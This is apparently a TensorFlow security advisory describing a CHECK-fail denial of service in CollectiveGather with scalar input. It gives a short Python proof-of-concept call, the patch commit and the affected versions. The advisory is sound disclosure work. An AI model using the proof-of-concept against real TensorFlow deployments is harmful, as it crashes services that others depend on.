TensorFlow vulnerable to `CHECK` fail in `CollectiveGather`
### Impact
When `CollectiveGather` receives an scalar input `input`, it gives a `CHECK` fails that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
arg_0=1
arg_1=1
arg_2=1
arg_3=1
arg_4=(3, 3,3)
arg_5='auto'
arg_6=0
arg_7=''
tf.raw_ops.CollectiveGather(input=arg_0, group_size=arg_1, group_key=arg_2,
instance_key=arg_3, shape=arg_4,
communication_hint=arg_5, timeout_seconds=arg_6, name=arg_7)
```
### Patches
We have patched the issue in GitHub commit c1f491817dec39a26be3c574e86a88c30f3c4770
https://github.com/tensorflow/tensorflow/commit/c1f491817dec39a26be3c574e86a88c30f3c4770.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.